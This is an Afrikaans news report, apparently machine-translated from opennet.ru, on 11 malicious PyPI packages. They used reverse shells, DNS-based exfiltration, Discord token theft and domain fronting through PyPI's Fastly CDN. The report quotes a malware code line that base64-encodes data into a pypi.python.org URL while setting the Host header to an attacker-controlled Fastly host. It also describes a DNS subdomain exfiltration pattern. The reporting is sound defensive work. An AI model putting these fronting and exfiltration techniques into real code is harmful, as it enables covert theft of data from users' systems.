Kwaadwillige biblioteke is in die PyPI-katalogus geïdentifiseer wat die PyPI CDN gebruik om die kommunikasiekanaal te versteek

In die PyPI (Python Package Index) gids is 11 pakkette wat kwaadwillige kode bevat, geïdentifiseer. Voordat probleme geïdentifiseer is, is die pakkette altesaam sowat 38 duisend keer afgelaai. Die bespeurde kwaadwillige pakkette is opvallend vir hul gebruik van gesofistikeerde metodes om kommunikasiekanale met die aanvallers se bedieners te versteek.

  • belangrikpakket (6305 aflaaie), belangrik-pakket (12897) - het 'n verbinding met 'n eksterne bediener tot stand gebring onder die dekmantel om aan pypi.python.org te koppel om doptoegang tot die stelsel te verskaf (omgekeerde dop) en het die trevorc2-program gebruik om die kommunikasie kanaal.
  • pptest (10001), ipboards (946) - gebruik DNS as 'n kommunikasiekanaal om inligting oor die stelsel oor te dra (in die eerste pakkie die gasheernaam, werksgids, interne en eksterne IP, in die tweede - die gebruikersnaam en gasheernaam) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - het die Discord-dienstoken in die stelsel geïdentifiseer en dit na 'n eksterne gasheer gestuur.
  • trrfab (287) - het die identifiseerder, gasheernaam en inhoud van /etc/passwd, /etc/hosts, /home na die eksterne gasheer gestuur.
  • 10Cent10 (490) - het 'n omgekeerde dopverbinding met 'n eksterne gasheer tot stand gebring.
  • yandex-yt (4183) - het 'n boodskap vertoon oor die stelsel wat gekompromitteer is en herlei word na 'n bladsy met bykomende inligting oor verdere aksies wat deur nda.ya.ru (api.ya.cc) uitgereik is.

Van besondere belang is die metode om toegang te verkry tot eksterne gashere wat in die belangrike pakket en belangrike pakketpakkette gebruik word, wat die Fastly-inhoudafleweringsnetwerk wat in die PyPI-gids gebruik word, gebruik het om hul aktiwiteit te versteek. Trouens, versoeke is na die pypi.python.org-bediener gestuur (insluitend die spesifikasie van die naam python.org in SNI binne die HTTPS-versoek), maar die HTTP “Host”-opskrif het die naam van die bediener ingesluit wat deur die aanvallers beheer word (art. forward.io. global.prod.fastly.net). Die inhoudafleweringsnetwerk het 'n soortgelyke versoek na die aanvallende bediener gestuur, met behulp van die parameters van die TLS-verbinding na pypi.python.org wanneer data oorgedra word.

Die PyPI-infrastruktuur word aangedryf deur die Fastly-inhoudafleweringsnetwerk, wat die Varnish-deursigtige instaanbediener gebruik om tipiese versoeke te kas, en gebruik ook TLS-sertifikaatverwerking op die CDN-vlak, eerder as by die eindbedieners, om HTTPS-versoeke deur 'n instaanbediener aan te stuur. Ongeag die teikengasheer, word versoeke na die instaanbediener gestuur, wat die verlangde gasheer bepaal deur die HTTP “Host”-kopskrif te gebruik, en die gasheerdomeinname is gekoppel aan die CDN-laaibalanseerder IP-adresse wat tipies is vir alle Fastly-kliënte.

Die aanvallers se bediener registreer ook by CDN Fastly, wat gratis planne aan almal bied en selfs anonieme registrasie toelaat. Dit is opmerklik dat om versoeke aan die slagoffer te stuur wanneer 'n "omgekeerde dop" geskep word, 'n skema ook gebruik word, maar geïnisieer vanaf die kant van die aanvaller se gasheer. Van buite af lyk interaksie met die aanvallers se bediener soos 'n wettige sessie met die PyPI-gids, geïnkripteer met 'n PyPI TLS-sertifikaat. 'n Soortgelyke tegniek, bekend as "domeinfronting," is voorheen aktief gebruik om die gasheernaam te versteek wanneer blokkering omseil, deur die vermoë wat in sommige CDN-netwerke verskaf word om toegang tot HTTPS te gebruik deur 'n fiktiewe gasheer in die SNI aan te dui en die naam van die versoek gasheer in die HTTP-gasheer-kopskrif binne 'n TLS-sessie.

Kwaadwillige biblioteke is in die PyPI-katalogus geïdentifiseer wat die PyPI CDN gebruik om die kommunikasiekanaal te versteek

Om kwaadwillige aktiwiteite te verberg, is die TrevorC2-pakket ook gebruik om interaksie met die bediener soortgelyk aan gewone webnavigasie te maak, byvoorbeeld, kwaadwillige versoeke is gestuur onder die dekmantel van die aflaai van die prent "https://pypi.python.org/images/ guid=" met inligtingkodering in gidsparameter. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

Die pptest- en ipboards-pakkette het 'n ander benadering gebruik om netwerkaktiwiteit te verberg, gebaseer op die kodering van nuttige inligting in navrae na die DNS-bediener. Die wanware versend inligting deur DNS-versoeke soos "nu4timjagq4fimbuhe.example.com" uit te voer, waarin die data wat na die beheerbediener oorgedra word geënkodeer word deur die base64-formaat in die subdomeinnaam te gebruik. Die aanvaller ontvang hierdie boodskappe deur die DNS-bediener vir die example.com-domein te beheer.

Bron: opennet.ru

Voeg 'n opmerking